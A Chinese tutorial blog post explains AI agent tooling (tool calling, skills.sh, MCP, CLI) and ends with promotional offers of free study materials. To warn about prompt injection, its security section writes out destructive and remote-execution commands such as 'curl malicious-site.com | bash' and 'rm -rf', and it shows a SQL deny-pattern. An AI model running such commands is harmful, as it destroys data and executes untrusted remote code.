大模型学习指南：收藏必备，小白也能轻松掌握AI Agent核心概念

前言

–

随着大语言模型（LLM）的快速普及，围绕 AI Agent 的工具生态正在迅速成形，一批新词汇也随之涌现：Tool、Skill、Tool Calling、MCP、CLI、skills.sh……

这些词看起来相似，实则分属不同层次，各自解决不同的问题。更容易让人困惑的是，“Skill"这个词在不同场景下含义截然不同——有时指"工具集”，有时又指"领域知识文件"。

本文将从零开始，带你建立一个完整清晰的认知框架：

• ‎Tool（工具）：AI 可调用的最小执行单元，即单个函数
• ‎Skill（技能集）：一组相关 Tool 的集合，代表 AI 的某项完整能力（Tool Set）
• ‎Tool Calling：LLM 触发工具调用的整套机制
• ‎知识型 Skill（skills.sh）：名字相同、但完全不同——给 Agent 注入领域知识的 Markdown 文件
• ‎MCP：标准化 AI 与工具连接的开放协议
• ‎CLI：社区热议的 MCP 轻量替代方案
• ‎AI Agent：将以上所有整合起来的终极形态

阅读完本文，你将能清楚地回答：这些概念各自是什么、有什么区别、在实际开发中如何选择。

一、为什么 AI 需要外部工具？

“GPT-4 / Claude 这么聪明，为什么不能直接帮我查今天的天气？”

因为大语言模型本质上是一个文本预测机器。它的知识来自训练数据，有截止日期，没有联网能力，也无法主动操作外部系统。

要让 AI 真正"能干活"，就必须给它装上与外部世界交互的能力。业界为此发展出了三条技术路线：

这三条路线并不互斥，而是可以叠加使用，共同构成强大的 AI Agent 能力体系。下面逐一拆解。

二、Tool、Skill 与 Tool Calling：三个容易混淆的概念

在正式介绍 MCP 之前，有三个基础概念必须先讲清楚，因为它们经常被混用。

2.1 Tool（工具）：最小执行单元

Tool是一个具体的、可被 AI 调用的单个函数，有明确的名称、输入参数和返回值。它是粒度最细的单位——就像一个普通函数，只做一件事。

// 一个 Tool 的定义示例{ "name": "get_current_weather", "description": "获取指定城市当前的天气", "parameters": { "city": { "type": "string", "description": "城市名称" } }}

2.2 Skill（技能集）：一组相关 Tool 的集合

Skill不是单个工具，而是一组为了完成某项完整能力而组合在一起的 Tools，可以理解为Tool Set（工具集）。

// 一个「天气 Skill」包含多个 Tools：Skill: weather_skill ├── Tool: get_current_weather // 查当前天气 ├── Tool: get_forecast // 查未来预报 └── Tool: get_air_quality // 查空气质量// 一个「数据库 Skill」包含多个 Tools：Skill: database_skill ├── Tool: query_records // 查询记录 ├── Tool: insert_record // 插入数据 └── Tool: update_record // 更新数据

给 AI 装上「搜索 Skill」，它获得了搜索相关的一组能力；装上「代码执行 Skill」，它能读写并运行代码。Skill 是 AI 的"技能包"，Tool 是技能包里的每一个具体动作。

类比软件工程：

2.3 Tool Calling（工具调用）：AI 触发工具的机制

Tool Calling（也叫 Function Calling）是 LLM 决定调用 Tool 的整套触发机制——从识别意图到输出结构化请求、再到应用层执行并返回结果。

技术演进：从 Plugin 到 Function Calling

OpenAI 2023年推出 Plugin 机制，允许 ChatGPT 调用第三方服务，但因管理过于复杂逐渐被淘汰。现在各大模型均支持更精确的Function Calling / Tool Calling。完整调用流程如下：

[用户] → "帮我查北京今天的天气" ↓[LLM] → 分析意图，判断需要调用天气工具 ↓[LLM 输出结构化调用请求] { "tool": "get_weather", "params": { "city": "北京" } } ↓[应用层] → 拦截请求，调用真实的天气 API ↓[API 返回] → { "temp": "22°C", "weather": "晴" } ↓[LLM] → 接收结果，整合成自然语言 ↓[用户] ← "北京今天天气晴，气温 22°C"

2.4 三者关系一图看懂

Skill（技能集 / Tool Set） ├── Tool: get_current_weather ← 单个工具函数 ├── Tool: get_forecast └── Tool: get_air_qualityTool Calling（触发机制） LLM 分析意图 → 从 Skill 中选择合适的 Tool → 输出结构化调用请求 → 应用层执行真实逻辑 → 结果回传给 LLM → 生成回复

一句话区分：Tool 是具体函数，Skill 是一组 Tool 的集合（能力包），Tool Calling 是 AI 触发这些 Tool 的机制。

三、知识型 Skill：另一种"技能"——给 AI 注入专业知识

学习 Tool Calling 时，你可能还会搜索到 skills.sh 这个平台，并看到很多人在讨论"安装 Skill"。这里需要提前做一个重要的概念区分：

skills.sh 的 Skill 和 Tool Calling 的"工具"完全不是同一回事。

3.1 skills.sh 是什么？

skills.sh 是由Vercel Labs主导的开源 AI Agent 技能生态平台。它的 Skill 本质上是一个结构化的 Markdown 知识文件，安装后作为 Agent 的"参考手册"读入上下文，让 Agent 在完成特定任务时遵循专业规范。

# 安装一个知识型 Skill（下载 Markdown 指令文件到项目中）npx skills add vercel-labs/agent-skills

安装后项目中会出现类似这样的文件：

.cursor/rules/vercel-react-best-practices.md # Cursor.github/instructions/vercel-react-best-practices.instructions.md # GitHub Copilot

AI Agent 读取这些文件，就"习得"了该领域的专业规范，写出的代码自然更符合最佳实践。

3.2 两种 Skill 的对比

3.3 一个直觉比喻

想象你招了一个新员工（AI Agent）：

• ‎Tool Calling 工具：给他配备了工具箱——电话、电脑、打印机（具体可执行的能力）
• ‎skills.sh 知识型 Skill：给他一本《公司操作手册》——告诉他遇到各种情况该怎么思考和处理（专业知识与规范）

两种"Skill"共用了同一个单词，但一个是工具，一个是知识。搞清楚这个区别，后续所有概念都会更清晰。

四、MCP：解决工具连接的标准化问题

有了 Tool Calling 机制，AI 已经能调用工具了。但新问题随之出现：每接入一个新工具都要重复造轮子，而且不同 AI 平台之间完全不兼容。

这就是 MCP 要解决的问题。

4.1 痛点：M×N 的适配地狱

假设有M 个 AI 模型，N 个工具：

传统方式：每对模型 + 工具都需要单独适配Claude ──→ 天气 API 适配 (1套)Claude ──→ 数据库适配 (1套)GPT-4 ──→ 天气 API 适配 (1套) ← 重复！GPT-4 ──→ 数据库适配 (1套) ← 重复！...总计需要 M × N 套适配代码，维护成本极高

4.2 MCP 是什么？

MCP（Model Context Protocol）是由 Anthropic 于 2024年11月 发布的一套开放标准协议，定义了 AI 模型与外部工具、数据源之间通信的统一规范。

一句话概括：

MCP 是 AI 世界的"USB 接口"——只要工具实现了 MCP 协议，任何支持 MCP 的 AI 都能即插即用。

4.3 MCP 的解法：M+N

MCP 方式：工具只需实现一次 MCP Server天气工具 ──→ MCP Server（一次实现）数据库 ──→ MCP Server（一次实现）文件系统 ──→ MCP Server（一次实现）Claude、GPT、Gemini... 均通过统一的 MCP Client 接入→ 总计只需 M + N 套代码，大幅降低维护成本

4.4 MCP 架构图

┌──────────────────────────────────────────┐│ MCP 完整架构 ││ ││ ┌──────────┐ ┌──────────────────┐ ││ │ Host │←──→ │ MCP Client │ ││ │ (Claude/ │ │ (协议通信层) │ ││ │ VSCode) │ └────────┬─────────┘ ││ └──────────┘ │ MCP 协议 ││ ┌────────┴─────────┐ ││ │ MCP Server │ ││ │ (工具提供方) │ ││ └────────┬─────────┘ ││ │ ││ ┌──────────────┴───────────┐ ││ │ 真实资源 / 工具 │ ││ │ 文件系统 / 数据库 / API │ ││ └──────────────────────────┘ │└──────────────────────────────────────────┘

4.5 MCP 的三大核心概念

① Resources（资源）— 服务器暴露可读取的数据：

resource: { uri: "file:///project/README.md", name: "项目说明文档", mimeType: "text/markdown"}

② Tools（工具）— 服务器提供的可执行操作：

tool: { name: "execute_sql", description: "执行 SQL 查询并返回结果", inputSchema: { query: "string" // SQL 语句 }}

③ Prompts（提示模板）— 服务器提供预定义的提示词，帮助用户高效完成特定任务。

4.6 MCP 通信流程（伪代码）

// Step 1：MCP Client 连接 Server，发现能力列表client.connect(server)→ server.listTools() // 返回所有可用工具→ server.listResources() // 返回所有可读资源// Step 2：LLM 决定调用某个工具llm.think("用户要查数据库，需要 execute_sql 工具")// Step 3：MCP Client 向 Server 发起调用result = client.callTool({ name: "execute_sql", arguments: { query: "SELECT * FROM users LIMIT 10" }})// Step 4：Server 执行并返回结构化结果→ result: [ { id: 1, name: "Alice" }, { id: 2, name: "Bob" } ]// Step 5：LLM 使用结果生成自然语言回复llm.respond(result)

五、MCP 实战：从配置到实现

5.1 主流 MCP Server 生态

目前官方和社区已提供大量开箱即用的 MCP Server：

官方 MCP Server 示例：├── @modelcontextprotocol/server-filesystem # 本地文件操作├── @modelcontextprotocol/server-github # GitHub 操作├── @modelcontextprotocol/server-postgres # PostgreSQL 数据库├── @modelcontextprotocol/server-sqlite # SQLite 数据库├── @modelcontextprotocol/server-brave-search # 网络搜索└── @modelcontextprotocol/server-puppeteer # 浏览器自动化

5.2 在 Claude Desktop 中配置 MCP

// claude_desktop_config.json{ "mcpServers": { "filesystem": { "command": "npx", "args": [ "@modelcontextprotocol/server-filesystem", "/Users/your-name/Documents" ] }, "github": { "command": "npx", "args": ["@modelcontextprotocol/server-github"], "env": { "GITHUB_PERSONAL_ACCESS_TOKEN": "your-token" } } }}

配置完成后，Claude 就能直接读写本地文件、操作 GitHub 仓库。

5.3 实现一个极简 MCP Server（Node.js 伪代码）

import { McpServer } from "@modelcontextprotocol/sdk/server";const server = new McpServer({ name: "my-tools", version: "1.0.0"});// 注册工具server.tool( "get_weather", // 工具名称 "获取城市天气", // 工具描述 { city: z.string() }, // 参数 Schema（使用 Zod 校验） async ({ city }) => { const weather = await fetchWeatherAPI(city); return { content: [{ type: "text", text: `${city}今天 ${weather.temp}°C，${weather.condition}` }] }; });// 通过 stdio 启动，与 MCP Client 通信server.run();

六、社区争议：CLI 是比 MCP 更好的方案吗？

MCP 发布后，社区并非一片叫好。越来越多的开发者开始发声：

“我们真的需要 MCP 吗？直接用 CLI（命令行工具）不香吗？”

这个讨论触及了工程实践的核心，值得认真对待。

6.1 CLI 方案的核心主张

CLI 派认为：Shell 命令本身就是最好的"工具协议"。

CLI 调用方式（伪代码）：agent.runCommand("git log --oneline -10")→ 输出: a1b2c3d fix: 修复登录 bug e4f5g6h feat: 新增用户模块agent.runCommand("curl https://api.weather.com/beijing")→ 输出: {"temp": "22°C", "condition": "晴"}

没有 Server，没有协议握手，没有 JSON Schema，直接运行命令，结果直接返回给 LLM。

6.2 CLI vs MCP：全面对比

6.3 支持 CLI 的核心论据

论据一：数十年的 CLI 生态无需改造

git、curl、jq、ffmpeg、psql……这些工具 AI 直接调用即可：

git diff HEAD~1docker ps --format "table {{.Names}}\t{{.Status}}"psql -c "SELECT count(*) FROM users"jq '.items[] | .name' data.json

论据二：MCP Server 本身引入了新的复杂性

MCP 方案的隐藏成本： 1. 编写 MCP Server 代码 2. 部署并保持 Server 持续运行 3. 处理 Server 崩溃与重启 4. 跨版本兼容问题 5. 协议层调试困难CLI 方案：工具装好 → AI 直接运行 → 完成

论据三：LLM 天生理解命令行

LLM 训练数据中包含大量 Shell 文档与示例，理解 CLI 的能力远超理解私有 MCP Server。

6.4 MCP 的反驳：CLI 并非银弹

① CLI 存在严重安全风险

给 AI 直接运行 Shell 命令，等于把钥匙交给了一个你无法完全信任的执行者：

# AI 误操作或被 Prompt 注入攻击时可能执行：rm -rf /important-datacurl malicious-site.com | bash# 通过 psql 直接执行：DROP TABLE users;

MCP Server 可以做到最小权限原则：

// MCP Server 权限控制（伪代码）tool: execute_sql allowedPatterns: [/^SELECT/i] // 只允许查询 blockedPatterns: [/DELETE|DROP|TRUNCATE/i] // 拦截危险操作

② CLI 输出格式对 LLM 不友好

# 给人看的格式，LLM 解析容易出错docker psCONTAINER ID IMAGE COMMAND CREATED STATUSa1b2c3d4e5f6 nginx "nginx" 2 hours ago Up 2 hours

MCP 工具返回结构化 JSON，模型处理更稳定、更准确。

③ 跨平台行为不一致

同一个 MCP Server 在 Windows/macOS/Linux 行为完全一致；CLI 命令语法在不同系统间存在差异（如sed、date等）。

6.5 社区主流结论：因地制宜，而非非此即彼

场景选型建议：优先选 CLI： ✓ 快速原型验证 / 个人本地工具 ✓ 调用现有成熟 CLI 工具 ✓ 团队 Shell 经验丰富优先选 MCP： ✓ 生产环境 / 企业级部署 ✓ 需要精细权限控制与安全合规 ✓ 工具需跨多个 AI 平台复用 ✓ 需要稳定的结构化返回值

“MCP 本质上是对工具调用的一层标准化封装。先用 CLI 跑通逻辑，再按需封装成 MCP Server，这才是合理的演进路径。”

6.6 实践中的混合架构

很多项目已在这样使用：MCP 负责权限与标准化，CLI 负责实际执行。

// MCP Server 内部调用 CLI 工具（伪代码）tool: run_git_command handler: async ({ command }) => { // 白名单校验，只允许只读操作 if (!ALLOWED_GIT_CMDS.includes(command)) { throw new Error("不允许的命令"); } // 内部通过 CLI 执行 const result = await exec(`git ${command}`); return { output: result.stdout }; }

七、AI Agent：所有概念的综合体

理解了上述所有概念，再来看AI Agent（智能体）就水到渠成了。

7.1 Agent 工作循环

┌──────────────────────────────────────────┐│ Agent 工作循环 ││ ││ 用户输入任务 ││ ↓ ││ LLM 思考（ReAct 模式：推理 + 行动） ││ ↓ ││ ┌─ 需要工具？ ──是──→ 选择合适工具 ││ │ ↓ ││ │ 通过 MCP 或 CLI 调用 ││ │ ↓ ││ │ 获得工具返回结果 ││ │ ↓ ││ └──────────── 继续推理 ←──┘ ││ ↓（任务完成） ││ 输出最终结果给用户 │└──────────────────────────────────────────┘

7.2 四个维度的完整全景

┌────────────────────────────────────────────────────┐│ AI Agent 能力全景 ││ ││ ┌──────────────────────────────────────────────┐ ││ │ 知识层：skills.sh 知识型 Skill │ ││ │ Markdown 指令文件 → 注入专业领域知识 │ ││ │ "知道怎么做得更好" │ ││ └──────────────────────────────────────────────┘ ││ ↓ ││ ┌──────────────────────────────────────────────┐ ││ │ 能力层：Tool Calling / Function Calling │ ││ │ 工具声明 + 应用层实现 → 调用外部工具 │ ││ │ "有能力去做" │ ││ └──────────────────────────────────────────────┘ ││ ↓ ││ ┌──────────────────────────────────────────────┐ ││ │ 协议层：MCP 或 CLI │ ││ │ MCP → 标准化、跨平台、生产级 │ ││ │ CLI → 轻量、快速、直接复用现有工具 │ ││ │ "用什么方式去做" │ ││ └──────────────────────────────────────────────┘ ││ ↓ ││ ┌──────────────────────────────────────────────┐ ││ │ 决策层：LLM │ ││ │ 理解意图、推理规划、决定何时调用哪个工具 │ ││ │ "想做什么 / 何时做" │ ││ └──────────────────────────────────────────────┘ │└────────────────────────────────────────────────────┘

• ‎LLM是大脑：负责理解、推理、决策
• ‎知识型 Skill是经验：让 AI 做得更专业
• ‎Tool Calling是手脚：定义具体行动能力
• ‎MCP / CLI是神经通路：负责标准化传递与执行

八、总结

五句话记住核心：

1. ‎Tool Calling让 AI 从"只会说话"变成"能干活"
2. ‎知识型 Skill让 AI 从"能干活"变成"干得专业"
3. ‎MCP让工具接入从"重复造轮子"变成"即插即用"
4. ‎CLI是 MCP 的轻量替代，适合快速验证和本地场景
5. ‎四者组合，才能构建真正强大的 AI Agent

写在最后

从 Tool Calling 到 MCP，从 CLI 争论到 skills.sh 生态，AI Agent 工具链正在快速演进，各个层次的标准都还在形成中。

没有"唯一正确答案"——理解每种方案背后的设计哲学和适用边界，才能在实际项目中做出最合适的选择。

技术在变，但理解底层原理的能力，才是开发者最核心的竞争力。

普通人如何抓住AI大模型的风口？

领取方式在文末

为什么要学习大模型？

目前AI大模型的技术岗位与能力培养随着人工智能技术的迅速发展和应用 ， 大模型作为其中的重要组成部分 ， 正逐渐成为推动人工智能发展的重要引擎 。大模型以其强大的数据处理和模式识别能力， 广泛应用于自然语言处理 、计算机视觉 、 智能推荐等领域 ，为各行各业带来了革命性的改变和机遇 。

目前，开源人工智能大模型已应用于医疗、政务、法律、汽车、娱乐、金融、互联网、教育、制造业、企业服务等多个场景，其中，应用于金融、企业服务、制造业和法律领域的大模型在本次调研中占比超过30%。

随着AI大模型技术的迅速发展，相关岗位的需求也日益增加。大模型产业链催生了一批高薪新职业：

人工智能大潮已来，不加入就可能被淘汰。如果你是技术人，尤其是互联网从业者，现在就开始学习AI大模型技术，真的是给你的人生一个重要建议！

最后

只要你真心想学习AI大模型技术，这份精心整理的学习资料我愿意无偿分享给你，但是想学技术去乱搞的人别来找我！

在当前这个人工智能高速发展的时代，AI大模型正在深刻改变各行各业。我国对高水平AI人才的需求也日益增长，真正懂技术、能落地的人才依旧紧缺。我也希望通过这份资料，能够帮助更多有志于AI领域的朋友入门并深入学习。

真诚无偿分享！！！
vx扫描下方二维码即可
加上后会一个个给大家发
【附赠一节免费的直播讲座，技术大佬带你学习大模型的相关知识、学习思路、就业前景以及怎么结合当前的工作发展方向等，欢迎大家~】

大模型全套学习资料展示

自我们与MoPaaS魔泊云合作以来，我们不断打磨课程体系与技术内容，在细节上精益求精，同时在技术层面也新增了许多前沿且实用的内容，力求为大家带来更系统、更实战、更落地的大模型学习体验。

希望这份系统、实用的大模型学习路径，能够帮助你从零入门，进阶到实战，真正掌握AI时代的核心技能！

01教学内容

• 从零到精通完整闭环：【基础理论 →RAG开发 → Agent设计 → 模型微调与私有化部署调→热门技术】5大模块，内容比传统教材更贴近企业实战！

• 大量真实项目案例：带你亲自上手搞数据清洗、模型调优这些硬核操作，把课本知识变成真本事‌！

02适学人群

应届毕业生‌：无工作经验但想要系统学习AI大模型技术，期待通过实战项目掌握核心技术。

零基础转型‌：非技术背景但关注AI应用场景，计划通过低代码工具实现“AI+行业”跨界‌。

业务赋能突破瓶颈：传统开发者（Java/前端等）学习Transformer架构与LangChain框架，向AI全栈工程师转型‌。

vx扫描下方二维码即可
【附赠一节免费的直播讲座，技术大佬带你学习大模型的相关知识、学习思路、就业前景以及怎么结合当前的工作发展方向等，欢迎大家~】

本教程比较珍贵，仅限大家自行学习，不要传播！更严禁商用！

03入门到进阶学习路线图

大模型学习路线图，整体分为5个大的阶段：

04视频和书籍PDF合集

从0到掌握主流大模型技术视频教程（涵盖模型训练、微调、RAG、LangChain、Agent开发等实战方向）

新手必备的大模型学习PDF书单来了！全是硬核知识，帮你少走弯路（不吹牛，真有用）

05行业报告+白皮书合集

收集70+报告与白皮书，了解行业最新动态！

0690+份面试题/经验

AI大模型岗位面试经验总结（谁学技术不是为了赚$呢，找个好的岗位很重要）

07 deepseek部署包+技巧大全

由于篇幅有限

只展示部分资料

并且还在持续更新中…

真诚无偿分享！！！
vx扫描下方二维码即可
加上后会一个个给大家发
【附赠一节免费的直播讲座，技术大佬带你学习大模型的相关知识、学习思路、就业前景以及怎么结合当前的工作发展方向等，欢迎大家~】